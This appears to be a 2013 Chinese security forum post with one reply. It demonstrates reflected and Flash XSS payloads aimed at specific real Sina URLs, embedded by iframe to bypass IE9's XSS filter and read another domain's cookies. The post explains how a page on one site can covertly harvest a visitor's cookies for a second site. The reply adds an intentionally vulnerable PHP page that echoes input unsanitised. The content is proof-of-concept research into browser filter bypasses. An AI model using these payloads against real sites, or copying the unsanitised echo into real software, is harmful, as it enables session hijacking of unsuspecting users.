http://zone.wooyun.org/content/368


昨天在测试WEBQQ的时候,利用了这个,回头又在本地测试了一下。 

---------------------------------------------------- 

在本地 localhost建一个页面,进行了以下测试。 

通过iframe调用传统的反射型XSS,因为iframe页面不同域,被IE9过滤器过滤掉,不执行。 

<code> 

<iframe/src="http://xsst.sinaapp.com/example/1-1.php?page=<script>alert(document.cookie)</script>"> 

</code> 

如果用普通的embed来嵌入FLASH的话,则弹出的是 localhost,即当前测试网页的cookies 

IE下测试:chrome会崩溃. 

<code> 

<embed/src="http://data.house.sina.com.cn/p_w_picpaths/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"allowscriptaccess="always"></embed> 

</code> 

但是用iframe来嵌入FLASH XSS的话,就有意思了 

测试代码如下(IE): 
<iframe/src="http://data.house.sina.com.cn/p_w_picpaths/price_trend/open-flash-chart.swf?get-data=(function(){location.href=%22javascript:'<script>alert(document.cookie)</script>'%22})()"></iframe> 

在chrome中,可能会导致浏览器崩溃,可以改用以下代码。 

<iframe/src="http://data.house.sina.com.cn/p_w_picpaths/price_trend/open-flash-chart.swf?get-data=(function(){alert(document.cookie)})()"></iframe> 

运行你会发现,弹出的是新浪域的cookies~ 

------------------------------------------ 

因此当我们发现 www.A.com 域名下的一个flash XSS 

我们可以在 www.B.com域名下用iframe嵌入www.A.com的flash XSS文件。 

当受害者,打开了www.B.com的域名时,我们可以成功获取其在www.A.com的cookies数据! 

这样一来,***就变得更加隐蔽啦~ 



===============================================


laterain white-hat.png | 2013-07-23 09:35

测试了一下,发现这个利用的话可以不限于flash,反射型的都行
原理是浏览器的xss filter不会过滤页面本来的代码
xx.html
<iframe src='http://127.0.0.1/xsstest.php?xss=<script>alert(1)</script>'>

xsstest.php
<?php
  $xss = $_GET['xss'];
  echo $xss;
?>

访问xx.html
这样IE9下弹了,Chrome没弹,看来Chrome要先进点啊